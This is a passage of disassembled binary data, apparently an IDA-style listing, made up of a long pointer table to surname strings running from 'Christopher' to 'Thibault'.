dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
